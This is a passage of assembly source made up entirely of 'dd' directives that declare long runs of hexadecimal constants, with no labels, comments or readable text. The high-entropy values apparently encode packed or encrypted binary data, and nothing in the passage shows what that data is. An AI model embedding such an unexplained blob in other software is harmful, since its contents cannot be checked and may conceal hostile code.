0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h dd 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h dd 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh dd 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h dd 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h dd 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh dd 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch dd 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh dd 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h, 31382433h dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h dd 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h, 3325D16Bh dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah, 7BA2EAh dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h, 0C297BC0h dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h dd 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h, 0E094D500h dd 3B1C98C4h, 74F9A0BEh dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h dd 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch dd 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh dd 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h dd 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h dd 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h, 49DB608Bh dd 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h dd 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h dd 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h dd 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h dd 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h dd 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h dd 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h dd 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh dd 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h dd 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h dd 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h dd 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h dd 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh dd 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h dd 871D79FAh, 54CF2088h, 803C004Ah, 638A551h, 58A2B891h dd 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah dd 772E6D41h, 706A6200h, 7899DF60h, 14510010h, 22836350h dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h dd 0EA6F4363h, 581862h, 6C1C6847h, 77875166h, 31706B00h dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h dd 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch dd 3741150h, 61670046h, 60886376h, 8BA05677h, 6D000A62h dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h dd 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h dd 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h dd 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh dd 8053B84h, 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h dd 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h dd 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h dd 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h, 0EC0257EBh dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h, 837825E9h dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh dd 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch, 0A000275Fh dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h, 82920E00h dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h, 0D4DDC30Ch dd 80072089h, 1DC0267Bh dd 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch dd 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h dd 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h dd 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh dd 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h dd 28033372h, 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h dd 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h dd 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h dd 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh dd 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h dd 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh dd 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h dd 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h dd 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h dd 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h dd 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh dd 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h dd 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h dd 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h dd 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h dd 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h, 2E77F098h dd 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah dd 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh dd 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h dd 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah dd 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h dd 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h dd 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h dd 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h, 70690052h dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh dd 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h dd 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah, 527333D6h dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh, 9729863Ch dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h, 817A4400h dd 586A07E2h, 0F0C43FE4h dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h dd 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h dd 172C7440h, 1739997Ah, 74126601h, 0D9075913h, 804B49BFh dd 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh dd 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h dd 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh dd 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h, 18066C74h dd 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h dd 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h dd 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h dd 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h dd 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h dd 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch dd 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah dd 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh dd 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h dd 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch dd 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h dd 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh dd 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h dd 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h dd 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch dd 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h dd 3685944h, 30058B64h, 3C148500h, 421904F2h, 0C4080F02h dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h dd 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h dd 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh dd 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h dd 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h dd 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h dd 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h dd 